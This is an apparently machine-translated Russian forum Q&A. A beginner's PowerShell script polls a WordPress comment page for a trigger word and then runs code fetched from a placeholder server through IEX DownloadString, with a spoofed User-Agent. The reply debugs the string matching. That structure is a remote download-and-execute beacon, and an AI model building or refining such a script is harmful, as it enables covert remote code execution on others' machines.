Я совершенно новичок PowerShell, поэтому, пожалуйста, будьте снисходительны;)
Я пытаюсь написать скрипт, где машина проверяет внешний веб-сайт в ожидании слова «тест» для выполнения загрузки. Все идет так:
$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")
While($True){
$CommentResult = $WebClientObject.DownloadString($comment)
$Found = $CommentResult.contains($Word)
If($Found) {
IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
Task_to_do and some blabla commands
Return
}
Start-Sleep -Seconds 60
}
Я использую PowerShell 2.0. Windows 7
Что случилось:
- загрузка не выполняется через интернет
- это не проблема, исходящая от IP-адресов или путей
Что я сделал дальше:
- Я непосредственно пишу различные команды в командной строке powershell:
-> while ($ True) инициирует бесконечный цикл, не выходя из него.
Чтобы сделать трюк, мне нужно «дважды щелкнуть на клавиатуре и вернуться», окончание цикла и команда «downloadstring» наконец выполнены.
Все еще помни, что я больше, чем новичок, верно? :(
- я пытался "прервать", "вернуться" или "выйти", но невозможно выйти из цикла.
- Я пытался вставить много двойного возврата каретки в мой сценарий также безуспешно.
Кто-нибудь, пожалуйста, укажет мне способ сделать эту простую вещь ...? :)
Большое спасибо.
powershell
Тома Гранджин
источник
источник
break
это то , что должно делать то, что вы хотите. Можете ли вы включить код, который содержитbreak
и не работает?Ответы:
В вашем скрипте есть как минимум три проблемы:
contains
не работает так, как вы думаете Он сообщает, включает ли набор эталонных значений одно тестовое значение. С точки зрения непрофессионала, он работает только с элементами массивов и ищет точное совпадение. Но вы получаете$CommentResult
одну длинную строку, содержащую HTML-код всей страницы. Таким образом,contains
рассматривается как массив с одним элементом, и поскольку этот элемент не является точным соответствием строки 'test', он возвращаетFalse
.if
блоке вам не нужно использоватьInvoke-Expression
командлет (IEX
это псевдоним для него) для вызоваDownloadString
метода$WebClientObject
.test
сама строка может появляться в HTML как часть тега, например:Я исправил ваш скрипт для использования регулярных выражений и сопоставления всего, что содержит строку
test
(включая pro test , de test , la test , test ament и т. Д.) В HTML-коде веб-страницы. Попробуйте и измените в соответствии с вашими потребностями впоследствии:источник